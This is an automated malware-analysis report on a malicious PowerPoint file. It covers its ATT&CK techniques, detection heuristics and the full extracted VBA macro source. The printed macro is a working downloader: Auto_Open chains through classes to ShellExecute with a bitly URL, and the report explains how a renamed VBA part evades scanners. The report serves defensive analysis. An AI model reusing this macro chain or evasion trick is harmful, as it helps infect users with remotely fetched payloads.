MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The OOXML file contains a VBA macro with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to execute a payload from the URL http://bitly.com/asdasdjqwhdioquwhk using CreateObject and ShellExecute, indicating a downloader or dropper functionality. The presence of a renamed VBA project part suggests an attempt to evade detection.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/BVA.b)
-
VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMEDThe VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
'obj12.VBAFormat Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "Module11" Sub auto_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://bitly.com/asdasdjqwhdioquwhk In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2170 bytes |
SHA-256: 626075102136e5e888664d50f3658bd0a43d2a35352e24cfd6f019bc1f4b448a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub VBAFormat()
Dim obj As New Class11
Dim p As Presentation: Set p = ActivePresentation
Dim s As Slide
Dim sh As Shape
For Each s In p.Slides
For Each sh In s.Shapes
If sh.HasTextFrame Then
If sh.TextFrame.HasText Then
obj.mopas sh.TextFrame.TextRange.Text
End If
End If
Next
Next
End Sub
Attribute VB_Name = "Module11"
Sub auto_open()
Dim obj As New Class1
obj.VBAFormat
End Sub
Attribute VB_Name = "Class111"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Minterger(ByVal VBA2 As String)
Dim obj As New Class12
obj _
.MainCallex VBA2
End Sub
Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub MainCallex(ByVal dd As String)
Dim obj12 As New Class1
'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")
objMMC1.ShellExecute dd, "http://bitly.com/asdasdjqwhdioquwhk", "", "", 0
End Sub
Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub mopas(ByVal VBA As String)
Dim obj As New Class111
obj _
.Minterger VBA
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: ppt/BVA.b | 27648 bytes |
SHA-256: c871e05d406199d455a8a2b2e62e3281d531dde63a16d16262fb82df45c8b816 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.